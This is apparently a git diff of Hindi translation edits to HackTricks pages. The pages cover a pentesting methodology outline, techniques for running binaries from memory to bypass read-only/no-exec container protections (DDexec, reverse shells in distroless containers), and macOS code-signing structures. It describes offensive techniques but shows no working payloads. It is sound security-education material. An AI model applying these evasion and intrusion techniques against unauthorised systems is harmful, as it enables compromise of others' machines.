<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
@ -663,8 +663,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **Twitter** पर फॉलो करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपॉजिटरी में PR सबमिट करें।
</details>

View file

@ -15,7 +15,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
@ -25,7 +25,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ द्वारा_
_Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ द्वारा_
### 0- भौतिक हमले
@ -33,7 +33,7 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
### 1 - [नेटवर्क के अंदर होस्ट का पता लगाना](pentesting-network/#discovering-hosts)/ [कंपनी की संपत्तियों का पता लगाना](external-recon-methodology/)
**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं।
**इस पर निर्भर करता है** कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं।
{% hint style="info" %}
ध्यान दें कि यदि आप बाहरी परीक्षण कर रहे हैं, तो एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच प्राप्त कर लेते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए।
@ -46,22 +46,22 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
### 3- [पोर्ट स्कैन - सेवा खोज](pentesting-network/#scanning-hosts)
जब **किसी होस्ट में कमजोरियों की तलाश** कर रहे हों, तो सबसे पहले यह जानना है कि **कौन सी सेवाएँ** किस पोर्ट पर चल रही हैं। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/#scanning-hosts)।
जब आप **किसी होस्ट में कमजोरियों की तलाश कर रहे हैं**, तो सबसे पहले यह जानना है कि **कौन सी सेवाएँ** किस पोर्ट पर चल रही हैं। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/#scanning-hosts)।
### **4-** [सेवा संस्करण शोषण की खोज](search-exploits.md)
एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज** करनी होगी। शायद आपको किस्मत मिल जाए और कोई शोषण हो जो आपको एक शेल दे सके...
एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज करनी होगी**। शायद आपको किस्मत मिल और कोई शोषण हो जो आपको एक शेल दे...
### **5-** Pentesting सेवाएँ
यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए।
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में** _**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का उल्लेख करना चाहता हूँ (क्योंकि यह सबसे विस्तृत है)।**\
इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](search-exploits.md) यहाँ पाया जा सकता है।
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करके, इसे फज़ करके और प्रतिक्रियाएँ पढ़कर** शुरू कर सकते हैं (यदि कोई हो)।
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)।
#### 5.1 स्वचालित उपकरण
@ -69,15 +69,15 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
#### **5.2 ब्रूट-फोर्सिंग सेवाएँ**
कुछ परिदृश्यों में **ब्रूट-फोर्स**िसी **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](brute-force.md)**।**
कुछ परिदृश्यों में **ब्रूट-फोर्स** **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](brute-force.md)**।**
### 6- [फिशिंग](phishing-methodology/)
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की आवश्यकता हो सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की कोशिश करनी पड़ सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
### **7-** [**शेल प्राप्त करना**](reverse-shells/)
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका** मिल जाना चाहिए। फिर, [सिस्टम के अंदर संभावित उपकरणों की एक सूची जो आपको एक रिवर्स शेल प्राप्त करने के लिए उपयोगी होगी](reverse-shells/)
किसी न किसी तरह से आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जाने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची जो आपको एक रिवर्स शेल प्राप्त करने में मदद कर सकती है](reverse-shells/) बहुत उपयोगी होगी
विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जाँच करें**](../windows-hardening/av-bypass.md)**।**\\
@ -91,13 +91,13 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
### **9 -** [**एक्सफिल्ट्रेशन**](exfiltration.md)
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](exfiltration.md)**।**
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए उपयोग किए जाने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](exfiltration.md)**।**
### **10- विशेषाधिकार वृद्धि**
#### **10.1- स्थानीय प्रिवेस्क**
यदि आप बॉक्स के अंदर **रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
यदि आप **बॉक्स के अंदर रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
यहाँ आप [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड पा सकते हैं।**\
आपको यह पृष्ठ भी देखना चाहिए कि **Windows कैसे काम करता है**:
@ -110,7 +110,7 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
#### **10.2- डोमेन प्रिवेस्क**
यहाँ आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और स्थायी बनाने के लिए सबसे सामान्य क्रियाओं की व्याख्या करती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यंत नाजुक** हो सकती है।
यहाँ आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और स्थायी बनाने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया एक पेंटेस्टिंग/रेड टीम असाइनमेंट पर **अत्यंत नाजुक** हो सकती है।
### 11 - पोस्ट
@ -128,9 +128,9 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
### 12 - पिवटिंग
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता हो सकती है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
इस मामले में, टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\
आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स को डंप करने के लिए अच्छे ट्रिक्स मिलेंगे।\
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता हो (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
इस मामले में टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\
आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए शानदार ट्रिक्स मिलेंगी।\
[**NTLM**](../windows-hardening/ntlm/) के बारे में पृष्ठ की जाँच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है।
### अधिक
@ -151,7 +151,7 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**पैडिंग ओरेकल**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।

View file

@ -15,18 +15,18 @@ GCP हैकिंग सीखें और अभ्यास करें: <
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_पोलिश में धाराप्रवाह लिखित और मौखिक आवश्यक है_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
## वीडियो
निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लखित तकनीकों को अधिक गहराई से समझ सकते हैं:
निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं:
* [**DEF CON 31 - Linux मेमोरी हेरफेर का अन्वेषण करना**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks ट्रैक 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## केवल पढ़ने के लिए / कोई निष्पादन नहीं परिदृश्य
@ -59,7 +59,7 @@ securityContext:
## मेमोरी बायपास
यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **इसे मेमोरी से निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**
यदि आप एक बाइनरी निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **मेमोरी से इसे निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**
### FD + exec syscall बायपास
@ -77,7 +77,7 @@ securityContext:
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) एक तकनीक है जो आपको **अपने स्वयं के प्रोसेस की मेमोरी को संशोधित करने** की अनुमति देती है, इसके **`/proc/self/mem`** को ओवरराइट करके।
इसलिए, **प्रक्रिया द्वारा निष्पादित हो रहे असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को "म्यूटेट" कर सकते हैं ताकि **कोई भी मनमाना कोड निष्पादित किया जा सके**
इसलिए, **प्रक्रिया द्वारा निष्पादित असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को **किसी भी मनमाने कोड को निष्पादित करने के लिए "म्यूटेट"** कर सकते हैं
{% hint style="success" %}
**DDexec / EverythingExec** आपको **मेमोरी** से अपने स्वयं के **शेलकोड** या **किसी भी बाइनरी** को लोड और **निष्पादित** करने की अनुमति देगा।
@ -115,24 +115,24 @@ Distroless कंटेनरों का लक्ष्य **अनावश
एक distroless कंटेनर में आप **शायद `sh` या `bash` भी नहीं पाएंगे** ताकि एक नियमित शेल प्राप्त किया जा सके। आप `ls`, `whoami`, `id` जैसे बाइनरी भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं।
{% hint style="warning" %}
इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम को सूचीबद्ध** करने में सक्षम **नहीं होंगे** जैसा कि आप आमतौर पर करते हैं।
इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं** होंगे जैसे आप आमतौर पर करते हैं।
{% endhint %}
हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक Node रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषाओं** के साथ भी यही है।
हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषा** के साथ भी यही है।
{% hint style="success" %}
स्क्रिप्टिंग भाषा का उपयोग करके आप **सिस्टम को सूचीबद्ध** कर सकते हैं भाषा की क्षमताओं का उपयोग करके।
स्क्रिप्टिंग भाषा का उपयोग करके आप **सिस्टम की गणना** कर सकते हैं भाषा की क्षमताओं का उपयोग करके।
{% endhint %}
यदि **कोई `read-only/no-exec`** सुरक्षा नहीं है तो आप अपने रिवर्स शेल का दुरुपयोग करके **फाइल सिस्टम में अपने बाइनरी लिख सकते हैं** और **उन्हें निष्पादित** कर सकते हैं।
{% hint style="success" %}
हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप **उन्हें बायपास करने के लिए पिछले मेमोरी निष्पादन तकनीकों का उपयोग कर सकते हैं**।
हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप **इनसे बचने के लिए पिछले मेमोरी निष्पादन तकनीकों का उपयोग कर सकते हैं**।
{% endhint %}
आप [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) पर **कुछ RCE कमजोरियों का शोषण करने** के उदाहरण पा सकते हैं ताकि स्क्रिप्टिंग भाषाओं के **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें।
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
@ -146,8 +146,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें PRs को [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।**
</details>

View file

@ -1,16 +1,16 @@
# macOS कोड साइनिंग
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
@ -19,10 +19,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
Mach-o बाइनरी में एक लोड कमांड होता है जिसे **`LC_CODE_SIGNATURE`** कहा जाता है, जो बाइनरी के अंदर सिग्नेचर के **ऑफसेट** और **आकार** को इंगित करता है। वास्तव में, GUI टूल MachOView का उपयोग करके, बाइनरी के अंत में एक सेक्शन पाया जा सकता है जिसे **कोड सिग्नेचर** कहा जाता है जिसमें यह जानकारी होती है:
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
कोड सिग्नेचर का जादुई हेडर **`0xFADE0CC0`** है। फिर आपके पास सुपरब्लॉब के ब्लॉब की लंबाई और संख्या जैसी जानकारी होती है जो उन्हें शामिल करती है।\
यह जानकारी [स्रोत कोड में यहाँ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) पाई जा सकती है:
यह जानकारी [यहां](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) स्रोत कोड में पाई जा सकती है:
```c
/*
* Structure of an embedded-signature SuperBlob
@ -51,14 +51,14 @@ char data[];
} CS_GenericBlob
__attribute__ ((aligned(1)));
```
Common blobs contained are Code Directory, Requirements and Entitlements and a Cryptographic Message Syntax (CMS).\
Moreover, note how the data encoded in the blobs is encoded in **Big Endian.**
सामान्य ब्लॉब में कोड निर्देशिका, आवश्यकताएँ और अधिकार और एक क्रिप्टोग्राफिक संदेश सिंटैक्स (CMS) शामिल होते हैं।\
इसके अलावा, ध्यान दें कि ब्लॉब में एन्कोडेड डेटा **बिग एंडियन** में एन्कोडेड है।
Moreover, signatures cloud be detached from the binaries and stored in `/var/db/DetachedSignatures` (used by iOS).
इसके अलावा, हस्ताक्षर बाइनरी से अलग किए जा सकते हैं और `/var/db/DetachedSignatures` में संग्रहीत किए जा सकते हैं (जो iOS द्वारा उपयोग किया जाता है)।
## Code Directory Blob
## कोड निर्देशिका ब्लॉब
It's possible to find the declaration of the [Code Directory Blob in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
[कोड निर्देशिका ब्लॉब की घोषणा कोड में पाई जा सकती है](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
```c
typedef struct __CodeDirectory {
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
@ -116,10 +116,10 @@ __attribute__ ((aligned(1)));
```
ध्यान दें कि इस संरचना के विभिन्न संस्करण हैं जहाँ पुराने संस्करणों में कम जानकारी हो सकती है।
## Signing Code Pages
## साइनिंग कोड पेजेस
पूर्ण बाइनरी का हैशिंग अप्रभावी होगा और यहां तक कि बेकार भी होगा यदि इसे केवल आंशिक रूप से मेमोरी में लोड किया गया हो। इसलिए, कोड सिग्नेचर वास्तव में हैश का हैश है जहाँ प्रत्येक बाइनरी पृष्ठ को व्यक्तिगत रूप से हैश किया जाता है।\
वास्तव में, पिछले **Code Directory** कोड में आप देख सकते हैं कि **पृष्ठ का आकार निर्दिष्ट है** इसके एक क्षेत्र में। इसके अलावा, यदि बाइनरी का आकार पृष्ठ के आकार का गुणांक नहीं है, तो क्षेत्र **CodeLimit** यह निर्दिष्ट करता है कि सिग्नेचर का अंत कहाँ है।
वास्तव में, पिछले **कोड डायरेक्टरी** कोड में आप देख सकते हैं कि **पृष्ठ का आकार निर्दिष्ट है** इसके एक क्षेत्र में। इसके अलावा, यदि बाइनरी का आकार पृष्ठ के आकार का गुणांक नहीं है, तो क्षेत्र **कोडलिमिट** यह निर्दिष्ट करता है कि सिग्नेचर का अंत कहाँ है।
```bash
# Get all hashes of /bin/ps
codesign -d -vvvvvv /bin/ps
@ -224,7 +224,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis
## कोड सिग्नेचर आवश्यकताएँ
प्रत्येक एप्लिकेशन कुछ **आवश्यकताएँ** संग्रहीत करता है जिन्हें से निष्पादित करने के लिए **पूरा करना** आवश्यक है। यदि **एप्लिकेशन में ऐसी आवश्यकताएँ हैं जो एप्लिकेशन द्वारा पूरी नहीं की गई हैं**, तो इसे निष्पादित नहीं किया जाएगा (क्योंकि इसे शायद बदला गया है)।
प्रत्येक एप्लिकेशन कुछ **आवश्यकताएँ** संग्रहीत करता है जिन्हें से निष्पादित करने के लिए **पूरा करना** आवश्यक है। यदि **एप्लिकेशन में ऐसी आवश्यकताएँ हैं जो एप्लिकेशन द्वारा पूरी नहीं की गई हैं**, तो इसे निष्पादित नहीं किया जाएगा (क्योंकि इसे शायद बदला गया है)।
एक बाइनरी की आवश्यकताएँ एक **विशेष व्याकरण** का उपयोग करती हैं जो **व्यक्तियों** की एक धारा होती है और इन्हें `0xfade0c00` को जादू के रूप में उपयोग करके ब्लॉब के रूप में एन्कोड किया जाता है, जिसका **हैश एक विशेष कोड स्लॉट में संग्रहीत होता है**
@ -270,7 +270,7 @@ od -A x -t x1 /tmp/output.csreq
* **`SecRequirementEvaluate`**: प्रमाणपत्र संदर्भ में आवश्यकता को मान्य करें।
